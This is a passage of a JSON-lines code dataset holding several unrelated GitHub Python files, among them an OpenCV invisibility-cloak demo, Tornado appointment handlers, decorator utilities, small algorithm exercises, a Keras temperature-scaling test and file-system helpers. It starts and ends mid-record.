f\"{self.output_dir}/semantic-scene-graph_{timestamp}.dot\")\n","repo_name":"fzi-forschungszentrum-informatik/Semantic_Scene_Graph_Computation","sub_path":"src/computation/coordination.py","file_name":"coordination.py","file_ext":"py","file_size_in_byte":4115,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"26280587716","text":"import gc\ngc.collect()\n\nimport streamlit as st\nimport cv2 as cv2\nimport numpy as np\nimport time\n\nst.title('Como ficar invisível')\n\nst.write(\"\"\"\n### 1) Aponte a câmera para um lugar sem movimento; \n\n### 2) Não fique em frente da câmera; \n\n### 3) Mantenha a câmera fixa; \n\n### 4) Quando a imagem aparecer, vista um manto vermelho e vá para frente da câmera.\n\"\"\")\n\nrun = st.checkbox(\"Clique aqui para ligar a câmera\")\n\ncap = cv2.VideoCapture(0)\ntime.sleep(3)\nbackground=0\n\nfor i in range(30):\n ret,background = cap.read()\n\nbackground = np.flip(background,axis=1)\n\nwhile run:\n ret, img = cap.read()\n\n # Inverte a imagem \n img = np.flip(img, axis = 1)\n\n # Converte a imagem para o sistema de cor HSV\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n blurred = cv2.GaussianBlur(hsv, (35, 35), 0)\n\n # Define a faixa inferior para detecção de cor vermelha\n lower = np.array([0,120,70])\n upper = np.array([10,255,255])\n mask1 = cv2.inRange(hsv, lower, upper)\n\n # Define a faixa superior para detecção de cor vermelha\n lower_red = np.array([170,120,70])\n upper_red = np.array([180,255,255])\n mask2 = cv2.inRange(hsv, lower_red, upper_red)\n\n # Une as duas máscaras para gerar a máscara final\n mask = mask1 + mask2\n mask = cv2.morphologyEx(mask, cv2.MORPH_OPEN, np.ones((5,5), np.uint8))\n\n # Troca os pixels da capa vermelha capturada pela câmera pelos pixels da foto inicial\n img[np.where(mask == 255)] = background[np.where(mask == 255)]\n cv2.imshow('Display',img)\n k = cv2.waitKey(10)\n if k == 27:\n break\n","repo_name":"LuisCarlosEiras/comoficarinvisivel","sub_path":"invisivelst1.py","file_name":"invisivelst1.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73464953680","text":"# -*- coding:utf-8 -*-\r\n__author__ = 'yq'\r\nfrom MyHandlers.MyBaseHandler import MyBaseHandler\r\nfrom MyDBUtils.MyUtils import MyWeekDay4Chiness\r\nimport tornado.gen\r\nimport datetime\r\n\r\n\r\nclass LoginHandler(MyBaseHandler):\r\n def get(self):\r\n self.render(\"01_login.html\")\r\n\r\n def post(self):\r\n pMRN = self.get_argument('pMrn', '')\r\n pName = self.get_argument('pName', '')\r\n pAge = self.get_argument('pAge', '')\r\n pAgeUnit = self.get_argument('pAgeUnit_2', '')\r\n pGender = self.get_argument('pGender_2', '')\r\n pPCID = self.get_argument('pICID', '')\r\n pPhone = self.get_argument('pPhone', '')\r\n pAddress = self.get_argument('pAddress', '')\r\n\r\n self.session['token'] = '1'\r\n self.session['pMRN'] = pMRN\r\n self.session['pName'] = pName\r\n self.session['pAge'] = pAge\r\n self.session['pAgeUnit'] = pAgeUnit\r\n self.session['pGender'] = pGender\r\n self.session['pPCID'] = pPCID\r\n self.session['pPhone'] = pPhone\r\n self.session['pAddress'] = pAddress\r\n\r\n self.session.save();\r\n\r\n self.redirect(\"/ChooseDoctor/\")\r\n\r\n\r\nclass ValidateHandler(MyBaseHandler):\r\n def get(self):\r\n today = datetime.date.today();\r\n self.render(\"02_validate.html\")\r\n\r\n\r\nclass ChooseDroctorHandler(MyBaseHandler):\r\n # @tornado.web.authenticated\r\n def get(self):\r\n date4Choose = []\r\n today = datetime.datetime.now()\r\n if ( today.hour >= 16 ):\r\n dStart = 2\r\n else:\r\n dStart = 1\r\n for i in range(dStart, dStart + 3):\r\n dTmp = today + datetime.timedelta(days=i)\r\n tmp = dTmp.strftime(\"%Y-%m-%d\")\r\n date4Choose.append({'id': 'date' + str(i-dStart), 'v': tmp,\r\n 's': ''.join([tmp, '(', MyWeekDay4Chiness[dTmp.strftime('%w')], ')'])})\r\n self.render(\"03_chooseDroctor.html\", dList = date4Choose)\r\n\r\nclass GetDoctorPlanHandler(MyBaseHandler):\r\n def get(self):\r\n self.render(\"04_getDoctorPlan.html\")\r\n\r\nclass TestHandler(MyBaseHandler):\r\n def get(self):\r\n self.session['token'] = '1'\r\n self.session.save()\r\n self.redirect(\"/\")\r\n","repo_name":"kakashi1016/MakeAppointment4TZMH","sub_path":"MyHandlers/ClinicAppointment.py","file_name":"ClinicAppointment.py","file_ext":"py","file_size_in_byte":2207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36631842293","text":"# (C) 2019 Baris Ozmen \n\n\"\"\"Module consists decorators for helping other functions of the project\n\n Decorators are arranged into following categories:\n\n 1. Decorator decorators:\n Those augment capabilites of other decorators\n Medics\n\n 2. Reporters:\n Those print or log information about functions\n\n 3. Middlemen:\n Those manipulate information entering to (arguments) and/or\n exiting from (returns) functions.\n\n 4. Watchmen:\n Those check information entering to and exiting from functions.\n If they see an argument and/or return not obeying to rules,\n throw exception.\n\n 5. Classy-men:\n They decorate classes fashionably\n\n\"\"\"\n\n\nfrom functools import wraps\nimport numpy as np\nimport pandas as pd\nfrom importlib import reload\n\n\n###########################################################\n# Decorator decorators\n###########################################################\n\n\ndef decorator_with_argumets(decorator):\n \"\"\"Decorator of decorator allows the decorator it decorates to accept arbitrary\n number of arguments.\n \n It also allows the decorator to be used without arguments. Possible ways\n of calling the (decorated) decorator are:\n 1. @decorator()\n 2. @decorator()\n \n However, (decorated) decorator cannot be called without parantheses (e.g. @decorator)\n \"\"\"\n\n def decorator_maker(*args, **kwargs):\n @wraps(decorator)\n def decorator_wrapper(func):\n return decorator(func, *args, **kwargs)\n\n return decorator_wrapper\n\n return decorator_maker\n\n\n###########################################################\n# Reporters\n###########################################################\n\n\nclass Reporter:\n \"\"\"Reporter class keeps decorators gives information about functions without intervening to them.\n\n They are designed to be used safely with functions without worrying about if they will\n affect the inner working of a function. They don't touch to functions, only reports.\n \"\"\"\n\n @staticmethod\n @decorator_with_argumets\n def logger(func, logfile_dir=None):\n \"\"\"Decorator logs the arguments and kwargs of the function it decorates.\n\n It logs to the file whose path is given by `logfile_dir` argument. If it is not given,\n it creates a new file named `.log` in the working directory.\n \"\"\"\n import logging\n\n reload(logging) # ensures it works with Jupyter IPython\n # see https://stackoverflow.com/questions/18786912/\n\n if logfile_dir is not None:\n import os\n\n logging.basicConfig(\n filename=os.path.join(logfile_dir, \"{}.log\".format(func.__name__)),\n level=logging.INFO,\n )\n else:\n logging.basicConfig(\n filename=\"{}.log\".format(func.__name__), level=logging.INFO\n )\n\n @wraps(func)\n def wrapper(*args, **kwargs):\n logging.info(\n \"{} ran with args: {}, and kwargs: {}\".format(\n func.__name__, args, kwargs\n )\n )\n return func(*args, **kwargs)\n\n return wrapper\n\n @staticmethod\n def timer(func):\n \"\"\"Decorator prints running time of the function it decorates.\n \"\"\"\n import time\n\n @wraps(func)\n def wrapper(*args, **kwargs):\n t1 = time.time()\n result = func(*args, **kwargs)\n t2 = time.time()\n print(\n \"{}()'s runtime: {} sec.\".format(func.__name__, np.round((t2 - t1), 4))\n )\n return result\n\n return wrapper\n\n @staticmethod\n def matrix_gossiper(func):\n \"\"\"Gossips about the input matrices of the function it decorates.\n \"\"\"\n\n @wraps(func)\n def wrapper(*args, **kwargs):\n print(\n \"{}()'s is inputted matrices with shapes: {}, {}\".format(\n func.__name__, args[0].shape, args[1].shape\n )\n )\n return func(*args, **kwargs)\n\n return wrapper\n\n @staticmethod\n def counter(func):\n \"\"\"Decorator counts and logs number of times the function it decorates has been called.\n \"\"\"\n\n @wraps(func)\n def wrapper(*args, **kwargs):\n wrapper.count = wrapper.count + 1\n result = func(*args, **kwargs)\n print(\"{}() call counter: {}\".format(func.__name__, wrapper.count))\n return result\n\n wrapper.count = 0\n return wrapper\n\n\n###########################################################\n# Middlemen\n###########################################################\n\n\ndef multi_element_argument(func):\n \"\"\"Decorator allows the function it decorates to work with multiple element first argument.\n \n If the first argument is a multi element type (such as list, tuple, set, or\n np.array), decorated function works multiple times for each, and its returnings\n are finally returned as a list.\n \n If the first argument is a single element type, decorated function works as usual.\n \"\"\"\n\n @wraps(func)\n def wrapper(*args, **kwargs):\n ex = [1, 2, 3]\n multi_element_types = [list, tuple, set, type(np.array(ex))]\n args_copy = list(args)\n first_arg = args_copy[0]\n if type(first_arg) in multi_element_types:\n first_arg = list(first_arg)\n result = []\n for i, val in enumerate(first_arg):\n new_args = [val] + args_copy[1:]\n result.append(func(*new_args, **kwargs))\n else:\n result = func(*args, **kwargs)\n return result\n\n return wrapper\n\n\n###########################################################\n# Watchmen\n###########################################################\n\n\ndef check_df_arg_nonempty(func):\n \"\"\"Decorator checks if the DataFrame arguments of the decorated function is not empty\n\n It throws error and messages the user: if any of the argument who is a DataFrame is empty;\n or if no DataFrame was given\n \"\"\"\n\n @wraps(func)\n def wrapper(*args, **kwargs):\n\n df_args = []\n for arg in args:\n if isinstance(arg, pd.DataFrame):\n df_args.append(arg)\n\n assert len(df_args) > 0, \"No DataFrame argument is entered\"\n\n for df_arg in df_args:\n assert len(df_arg) > 0, \"One of DataFrame arguments is empty\"\n\n rv = func(*args, **kwargs)\n return rv\n\n return wrapper\n\n\n@decorator_with_argumets\ndef check_df_arg_nonempty_at(func, argorder=1):\n \"\"\"Decorator checks if the argument of the decorated function is not empty.\n\n It does the same thing with \"check_arg_nonempty()\" decorator, except it checks the argument\n whose order is given (argorder), instead of checking the first argument\n\n Args:\n argorder (int): order of the given argument.\n \"\"\"\n\n @wraps(func)\n def wrapper(*args, **kwargs):\n\n catch = args[argorder]\n assert catch is not None, \"args[{}] shouldnot be None\".format(argorder)\n assert len(catch) > 0, \"args[{}] size should be larger than 0\".format(argorder)\n\n rv = func(*args, **kwargs)\n return rv\n\n return wrapper\n\n\n###########################################################\n# Classy-men\n###########################################################\n\n\ndef singleton(cls):\n \"\"\"Decorator makes sure the class it is decorating wont\n be instantiated more than once\n\n A usage example:\n @singleton\n class AnyClass:\n ...\n\n If/when the class called for second time, previous (single)\n instance will be returned\n\n Inspiration of the decorator comes from:\n https://www.python.org/dev/peps/pep-0318/#examples\n\n \"\"\"\n\n instances = {}\n\n @wraps(cls)\n def wrapper():\n if cls not in instances:\n instances[cls] = cls()\n return instances[cls]\n\n return wrapper\n","repo_name":"barisozmen/deepaugment","sub_path":"deepaugment/lib/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":8198,"program_lang":"python","lang":"en","doc_type":"code","stars":241,"dataset":"github-code","pt":"3"} +{"seq_id":"71833986322","text":"\"\"\"\nFile: narcissistic_checker.py\nName: 黃勝弘 Kevin (想很久)\n------------------------\nThis program asks our user for input and checks if the input is a\nnarcissistic number or not.\n\nA positive integer is called a narcissistic number if it\nis equal to the sum of its own digits each raised to the\npower of the number of digits.\n\nExample: 153 is narcissistic because 1^3 + 5^3 + 3^3 = 1 + 125 + 27 = 153.\nNote that by this definition all single digit numbers are narcissistic.\n\nStudents are recommended to use // and % to complete this program.\n\nThe program ends when the user enter the EXIT number.\n\"\"\"\nEXIT = -100\n\n\ndef main():\n print('Welcome to the narcissistic checker!')\n while True:\n a = 1\n b = 0\n # a = 10 ^ a\n # b = How many orders\n n = int(input('n: '))\n n2 = n\n if n == EXIT:\n print('Have a good one!')\n break\n else:\n while n // a > 9:\n a *= 10\n b += 1\n\n total = 0\n x = b + 1\n while b >= 0:\n total += (n // 10 ** b) ** x\n n = n % (10 ** b)\n # order - 1\n b -= 1\n # order change\n # NOW n = 0 !!! b = -1\n if total == n2:\n print(str(n2) + ' is a narcissistic number')\n else:\n print(str(n2) + ' is not a narcissistic number')\n\n\n\n\n\"\"\"\n------PRACTICE------\n else:\n while n // a > 9:\n a *= 10\n b += 1\n print('a= ' + str(a) + '，' + 'b= ' + str(b))\n total = 0\n x = 0\n b_2 = b\n total_2 = 0\n while b >= 0:\n total += (n // 10 ** b) ** x\n n = n % (10 ** b)\n # number change to -1 order\n b -= 1\n # order change\n # NOW n = 0 !!! b = -1\n if total < n2:\n x += 1\n while b_2 >= 0:\n total_2 += (n2 // 10 ** b_2) ** x\n n2 = n2 % (10 ** b_2)\n # number change to -1 order\n b_2 -= 1\n\n print('a= ' + str(a) + '，' + 'b= ' + str(b))\n print('n2= ' + str(n2))\n print('total 2 = ' + str(total_2))\n print('x =' + str(x))\n if total_2 == n_check:\n print(str(n_check) + ' is a narcissistic number')\n else:\n print(str(n_check) + ' is not a narcissistic number')\n\n\"\"\"\n\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"kkjustadream/StanCodeProject","sub_path":"StanCodeProject/sc001/narcissistic_checker.py","file_name":"narcissistic_checker.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19053259888","text":"def get_TODO_data(TODO: str):\n\n\tlines = TODO.strip().split(\"\\n\")\n\n\tTODO_data = []\n\tboolean = ['X', 'O']\n\t\n\tfor line in lines:\n\n\t\tis_first_line = line == lines[0]\n\n\t\tif is_first_line:\n\t\t\tyear = int(line[0:4])\n\t\t\tweek = int(line[6:8])\n\t\telse:\n\t\t\tsuccess = boolean.index(line[1])\n\t\t\tcontent = line[5:]\n\n\t\t\tTODO_data.append((success, content, week, year))\n\n\treturn TODO_data","repo_name":"kimbrother6/StudyCare","sub_path":"functions/DB/translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29353866990","text":"import os\n\nimport numpy as np\nfrom keras import Sequential\nfrom keras.layers import Dense\nfrom keras.models import load_model\nfrom keras.optimizers import Adam\nfrom keras import backend as K\n\n\ndef build_simple_network():\n model = Sequential()\n\n model.add(Dense(2, activation='linear', input_shape=(2,)))\n model.add(Dense(3, activation='linear'))\n\n model.layers[0].set_weights([\n np.array([[2, -1], [1, 1]]),\n np.array([1, 0])\n ])\n\n model.layers[1].set_weights([\n np.array([[-2, 1, 4],\n [1, 3, -1]]),\n np.array([6, 10, -5])\n ])\n\n model.compile(optimizer=Adam(), loss='mse')\n\n return model\n\n\ndef set_temperature_scaling(model, T):\n def temperature_softmax(x):\n return K.softmax(x / T)\n model.layers[-1].activation = temperature_softmax\n\n # workaround to rebuild graph with new activation function\n model_path = 'workaround_model.h5'\n try:\n model.save(model_path)\n model = load_model(\n model_path,\n custom_objects={'temperature_softmax': temperature_softmax}\n )\n finally:\n os.remove(model_path)\n\n return model\n\n\ndef get_gradients(x, model):\n fn = K.function([model.input], K.gradients(model.output, model.input))\n return fn([x])[0][0]\n\n\ndef main():\n x = np.array([1, -1])\n model = build_simple_network()\n y = model.predict(np.array([x]))\n print('Linear activations: f({}) = {}'.format(x, y))\n print('Gradients', get_gradients([x], model))\n\n temperature = 1\n t_model = set_temperature_scaling(model, temperature)\n y = t_model.predict(np.array([x]))\n grads = get_gradients([x], t_model)\n print('Temperature activation: f({}, T={}) = {}'.format(x, temperature, y))\n print('Gradients', grads)\n\n temperature = 1000\n t_model = set_temperature_scaling(model, temperature)\n y = t_model.predict(np.array([x]))\n grads = get_gradients([x], t_model)\n print('Temperature activation: f({}, T={}) = {}'.format(x, temperature, y))\n print('Gradients', grads)\n\n eps = 0.0015\n new_x = x - eps*(-grads)\n print('New x:', new_x)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"pisarik/Learning","sub_path":"machine_learning/keras/temperature_scaling/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"17821008467","text":"from rest_framework import serializers\nfrom models import User\n\nclass UserSerializer(serializers.ModelSerializer):\n class Meta:\n model = User\n fields = ('id', 'firstname', 'lastname', 'username', 'age','active')\n read_only_fields = ('id')\n\n def create(self, validated_data):\n return User.objects.create(**validated_data)\n\n def update(self, instance, validated_data):\n instance.id = validated_data.get('id', instance.id)\n instance.firstname = validated_data.get('firstname', instance.firstname)\n instance.lastname = validated_data.get('lastname', instance.lastname)\n instance.username = validated_data.get('username', instance.username)\n instance.age = validated_data.get('age', instance.age)\n instance.active = validated_data.get('active', instance.active)\n instance.save()\n return instance\n","repo_name":"bakubay/methodpro-ms-task1","sub_path":"mysite/user/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35836312381","text":"# https://leetcode.com/problems/rotting-oranges/\nfrom collections import deque\n\n\ndef find_rotting_oranges(grid):\n qu = deque()\n rlen = len(grid)\n clen = len(grid[0])\n fresh_count = 0\n for ridx, row in enumerate(grid):\n for cidx, val in enumerate(row):\n if val == 1:\n fresh_count += 1\n elif val == 2:\n qu.append((ridx, cidx))\n time = 0\n while qu and fresh_count > 0:\n wall_size = len(qu)\n time += 1\n for _ in range(wall_size):\n rid, cid = qu.popleft()\n for x, y in (\n (rid - 1, cid),\n (rid, cid - 1),\n (rid + 1, cid),\n (rid, cid + 1),\n ):\n if 0 <= x < rlen and 0 <= y < clen:\n if grid[x][y] == 1:\n fresh_count -= 1\n grid[x][y] = 2\n qu.append((x, y))\n\n if fresh_count:\n return -1\n else:\n return time\n\n\ngrid = [[2, 1, 1], [1, 1, 0], [0, 1, 1]]\nprint(find_rotting_oranges(grid))\n","repo_name":"s-surineni/atice","sub_path":"leet_code/rotting_oranges.py","file_name":"rotting_oranges.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30119099437","text":"################################################################################\n# This dictionary denotes all subscribers to all registered events. The comment\n# column provided next to the initial dictionary key provides the signature of\n# that event, for convenience.\n################################################################################\nEVENT_REGISTRY = {\n \"after_attack\" : [ # [AttackContext]\n DMStatus, BloomingBud, SwiftMoves,\n ],\n \"battle_end\" : [ # [None]\n LifePotion, RegenerationOrb, ManaConverter, ElderDragon, Return,\n\n ],\n \"battle_start\" : [ # [None]\n IronPlate, LesserManaStone, BloodyCloth, CubeFromOtherworld, DemonicLamp,\n ElixirOfImmortality, ManaCollector, ManaStone, VoodooMask, PioneersEye,\n Graveyard, TreeOfLife, IronWall, SapplingOfYggdrasil,\n ],\n \"before_attack\" : [ # [None]\n Poison,\n ],\n \"book_acquired\" : [ # [DMBook]\n MysteriousQuill\n ],\n \"book_read\" : [ # [DMBook]\n RingOfEnlightenment, SagesBrush,\n ],\n \"boss_room_entered\" : [ # [DMUnit]\n CurseOfTheSkull\n ],\n \"boss_skill_bite\" : [ # [BossSkillContext]\n VampiricMonster, DevilsTooth,\n ],\n \"boss_skill_blood_lord\" : [ # [BossSkillContext]\n BloodStaff, BloodyMeteorite\n ],\n \"boss_skill_forbidden_love\" : [ # [BossSkillContext]\n DemonicWater\n ],\n \"boss_skill_frost_arrow\" : [ # [BossSkillContext]\n ConchShell,\n ],\n \"boss_skill_harvest\" : [ # [BossSkillContext]\n DemonsScale,\n ],\n \"boss_skill_hemokinesis\" : [ # [BossSkillContext]\n BloodyHourglass,\n ],\n \"boss_skill_petrifying_gaze\": [ # [BossSkillContext]\n ObsidianFang,\n ],\n \"boss_skill_rallying_cry\" : [ # [BossSkillContext]\n DeliciousMilk\n ],\n \"boss_skill_split\" : [ # [BossSkillContext]\n EmmasTailAccessory\n ],\n \"boss_skill_used\" : [ # [BossSkillContext]\n VampireAxe, VampireRing, FairyWings,\n ],\n \"boss_skill_vampiric_impulse\": [ # [BossSkillContext]\n BatControl, VampireRune\n ],\n \"boss_skill_vampiric_infection\": [ # [BossSkillContext]\n InfectedBlood,\n ],\n \"boss_skill_venom_fang\" : [ # [BossSkillContext]\n DeadlySting\n ],\n \"boss_skill_venom_whip\" : [ # [BossSkillContext]\n DemonGlove,\n ],\n \"burn_activated\" : [ # [???]\n CateyeStone\n ],\n \"corruption_start\" : [ # [???]\n TheOriginOfTheFall, BlackMask,\n ],\n \"day_advance\" : [ # [DMDay]\n AncientEgg, ElderDragon, StatueOfSealedRage,\n ],\n \"dull_applied\" : [ # [DMStatus]\n Hammer\n ],\n \"dungeon_fate\" : [ # [None]\n StaffOfReign,\n ],\n \"egg_hatch\" : [ # [EggHatchContext]\n AdvancedIncubator, Biography, Hatchery,\n ],\n \"experience_awarded\" : [ # [ExperienceContext]\n ConstructionMaterial, MagicalSoil, WarriorsBlood, TokenOfFriendship,\n CursedAmberStone, CrackedAmberStone, PerfectAmberStone,\n ReapersSoulFragment,\n ],\n \"gold_acquired\" : [ # [GoldAcquiredContext]\n BottomlessWallet,\n ],\n \"hero_spawn\" : [ # [DMHero]\n BlueCoralReef, Monocle, RustyBlade, AmethystChoker, Greenstone,\n AncientEgg, CorruptedDragon,\n ],\n \"on_death\" : [ # [AttackContext]\n GhostAmulet, LifePotion, UndeadGrip, ElectricalShort, Spore,\n DeathGrip, LittleCoin, ManaRecoveryRune, SecondHeart, CorpseFlower,\n Scorpion, DemonicFruit, TeardrinkerSword, MarkOfShadow,\n ShiningMarkOfShadow, StigmaOfAsceticism, FirstMarkOfAsceticism,\n SecondMarkOfAsceticism, ThirdMarkOfAsceticism, LastMarkOfAsceticism,\n Sacrifice, Scream, Prism, Dynamite,\n ],\n \"on_heal\" : [ # [HealingContext]\n Cake\n ],\n \"on_purchase\" : [ # [PurchaseContext]\n AncientCoin, PremiumMembershipCert,\n ],\n \"reset_stats\" : [ # [Optional[DMUnit]]\n DMUnit, DMRelicManager\n ],\n \"room_enter\" : [ # [DMUnit]\n BattleDrums, TurbanOfCharm, DMTrapRoom, Betrayal, DMChargeable,\n Bloodthirst, Pressure, Haste, MirrorRoom, ShieldOfSteel, Gunpowder,\n BloodPool, TreeOfLife, BiggerFight, Prism, IronWall, IronCurtain,\n SteelThorn, InfinityClock\n ],\n \"room_exit\" : [ # [DMUnit][DMRoom]\n DragonKingsBelt\n ],\n \"stack_reduction\" : [ # [StackReductionContext]\n\n ],\n \"status_acquired\" : [ # [DMStatus]\n Regeneration, Despair, PearlShell, DarkCube, AcceleratingWatch,\n CursedPocketWatch, Blindsense, BlackGuardian, BlueGuardian\n ],\n \"status_execute\" : [ # [DMStatus]\n AbyssThorn, Net, RingOfDefense, RingOfWeakness, RuneOfVulnerability,\n GiantThorn, SmokedMeat, WoodenStaff, Rafflesia, Thunderbolt,\n FullMoonNecklace, HalfMoonNecklace, CrescentNecklace, StickyNet,\n LittleSwampMonster, DeathMist\n\n ],\n \"soul_acquired\" : [ # [SoulAcquiredContext]\n CorruptedAncientEgg,\n ],\n \"trap_activated\" : [ # [AttackContext] (maybe?)\n InsigniaOfTerror\n ]\n}\n################################################################################\n","repo_name":"AllegroVivo/DungeonDefense","sub_path":"utilities/event_registry.py","file_name":"event_registry.py","file_ext":"py","file_size_in_byte":5108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17270349328","text":"from problem2_table import *\nfrom problem2 import *\n\n# Enter arguments -------------------------------------------\n\nprecision = 4 # Decimal precision\n\nN1 = 10000 # Iterations for rectangle method\n\nN2 = 1000 # Iterations for trapezoid method\n\nN3 = 10000000 # Iterations for monte carlo method\n\n# ----------------------------------------------------------\n\nmethods_dict = run_methods(N1, N2, N3, precision)\n\nprint_table(methods_dict)\n","repo_name":"jbarkume/AMS_326","sub_path":"HW1/problem2/problem2_driver.py","file_name":"problem2_driver.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32965544379","text":"import os\nimport shutil\n\n# --------------------------------------------------------------------------------------------------\n\n\ndef copy_to_dst_dir(logger, src, dst_dir):\n\n \"\"\" Source could be a directory or single file which necesitates different handling\n \"\"\"\n\n try:\n if not os.path.isfile(src):\n logger.info(' Copying files from: '+src)\n shutil.copytree(src, dst_dir, dirs_exist_ok=True)\n else:\n logger.info(' Copying file: '+src)\n shutil.copy(src, dst_dir)\n\n except Exception:\n logger.abort('Copying failed, see if source files exists')\n\n# --------------------------------------------------------------------------------------------------\n\n\ndef link_all_files_from_first_in_hierarchy_of_sources(logger, source_paths, target_path):\n \"\"\"For a list of source paths check for the existence of the source paths and for files\n residing in at least one of the paths. For the first source path in the list that is found\n to contain files link them into the target path (remove first if existing)\n\n Parameters\n ----------\n logger: Logger to use for reporting any errors\n source_paths: list of source paths to search for files\n target_path: directory into which all found files will be linked to\n \"\"\"\n\n # First sweep to see if directories exist\n found_paths = []\n for source_path in source_paths:\n if os.path.exists(source_path):\n found_paths.append(True)\n else:\n found_paths.append(False)\n\n # Check that at least one path was found\n if not any(found_paths):\n logger.abort(f'In link_all_files_from_first_in_hierarchy_of_sources none of the ' +\n f'directories being searched were found to exist. Directories: {source_paths}')\n\n # Second sweep to establish if directories contain files\n found_files = False\n for ind, source_path in enumerate(source_paths):\n if found_paths[ind]:\n source_path_files = os.listdir(source_path)\n if source_path_files:\n found_files = True\n source_path = source_paths[ind]\n break\n\n # Check that at least one path contains some files\n if not found_files:\n logger.abort(f'In link_all_files_from_first_in_hierarchy_of_sources none of the ' +\n f'directories being searched contained any files. Directories: {source_paths}')\n\n # Link all the files from the first directory searched that contains files\n source_files = os.listdir(source_path)\n for source_file in source_files:\n source_path_file = os.path.join(source_path, source_file)\n target_path_file = os.path.join(target_path, source_file)\n link_file_existing_link_ok(logger, source_path_file, target_path_file)\n\n# --------------------------------------------------------------------------------------------------\n\n\ndef link_file_existing_link_ok(logger, source_path_file, target_path_file):\n\n \"\"\"Create a symbolic link from a source location to a target location. If a symbolic link\n already exists it will be deleted. If a file already exists and it is not a link the code\n will abort\n\n Parameters\n ----------\n logger: Logger to use for reporting any errors\n source_path_file: source for the symbolic link\n target_path_file: target for the symbolic link\n \"\"\"\n\n # Check for existence and remove if symbolic link exists. Abort if concrete file exists\n if os.path.exists(target_path_file):\n if os.path.islink(target_path_file):\n os.remove(target_path_file)\n else:\n logger.abort(f'In link_file_with_overwrite when linking source file ' +\n f'{source_path_file} to {target_path_file} a file was already found ' +\n f'that is not a symbolic link. This code will not replace concrete ' +\n f'files with symbolic links.')\n\n # Create symbolic link\n logger.info(f'Linking {source_path_file} to {target_path_file}')\n os.symlink(source_path_file, target_path_file)\n\n # ----------------------------------------------------------------------------------------------\n\n\ndef move_files(logger, src_dir, dst_dir):\n\n try:\n logger.info(' Moving file(s) from: '+src_dir)\n shutil.move(src_dir, dst_dir)\n\n except Exception:\n logger.abort('Moving failed, see if source files exist')\n\n# ----------------------------------------------------------------------------------------------\n","repo_name":"GEOS-ESM/swell","sub_path":"src/swell/utilities/file_system_operations.py","file_name":"file_system_operations.py","file_ext":"py","file_size_in_byte":4568,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"} +{"seq_id":"70851142801","text":"import Chunk\nimport CreatureManager\nimport os\nimport time\n\nfrom ast import literal_eval\n\nclass World:\n def __init__(self, size_limit=[0, 0], chunk_size = 12, regrowth_factor = 1, fertility_range_factor = 1, water_cover = 0.5, start_creatures = 50, maintain_population = 5, file_name = \"\"):\n\n if file_name != \"\":\n with open(os.path.join(file_name, \"world.json\"), \"r\") as f:\n json_repr = literal_eval(f.read())\n\n self.size_limit = json_repr[\"size_limit\"]\n\n self.chunk_size = json_repr[\"chunk_size\"]\n\n self.tile_limit = [self.chunk_size * self.size_limit[0], self.chunk_size * self.size_limit[1]]\n\n self.regrowth_factor = json_repr[\"regrowth_factor\"]\n self.fertility_range_factor = json_repr[\"fertility_range_factor\"]\n self.water_cover = json_repr[\"water_cover\"]\n\n self.generated_chunks = json_repr[\"generated_chunks\"]\n\n self.chunks = {}\n\n for chunk in self.generated_chunks:\n self.chunks[chunk] = Chunk.Chunk(size = self.chunk_size)\n self.chunks[chunk].load_from_file(os.path.join(file_name, chunk + \".json\"))\n\n self.creature_manager = CreatureManager.CreatureManager(self.tile_limit, file_name = file_name)\n\n else:\n #[0, 0] = unlimited\n self.size_limit = size_limit\n\n self.chunk_size = chunk_size\n\n self.tile_limit = [chunk_size * size_limit[0], chunk_size * size_limit[1]]\n\n #List of ALL generated chunk keys\n self.generated_chunks = []\n\n #Loaded Chunk objects (key = x_y)\n self.chunks = {}\n\n #Food regrowth rate (0 = food does not regrow, 1 = normal growth rate, 2 = 2x growth, ...)\n self.regrowth_factor = regrowth_factor\n\n #Radius around water where the ground is fertile (-1 = ground is always fertile, 0 = no fertile ground, 1 = standard range, 2 = 2x range, ...)\n self.fertility_range_factor = fertility_range_factor\n\n #Percentage of water in the world (-1 = automatic (random), 0 = no water, 1 = only water)\n self.water_cover = water_cover\n\n self.creature_manager = CreatureManager.CreatureManager(self.tile_limit, start_creatures, maintain_population)\n\n def is_chunk_loaded(self, chunk):\n if chunk not in self.generated_chunks:\n return False\n\n if not chunk in self.chunks.keys():\n return False\n\n return self.chunks[chunk].loaded\n\n def chunk_exists(self, chunk):\n return chunk in self.generated_chunks\n\n def chunk_in_bounds(self, chunk):\n if self.size_limit == [0, 0]:\n return True\n\n chunk = chunk.split(\"_\")\n chunk = [int(chunk[0]), int(chunk[1])]\n\n #Negative chunks are only valid for infinite worlds\n if chunk[0] < 0 or chunk[1] < 0:\n return False\n\n in_x_bounds = chunk[0] < self.size_limit[0]\n in_y_bounds = chunk[1] < self.size_limit[1]\n\n return (in_x_bounds and in_y_bounds)\n\n def get_chunk(self, chunk):\n if not 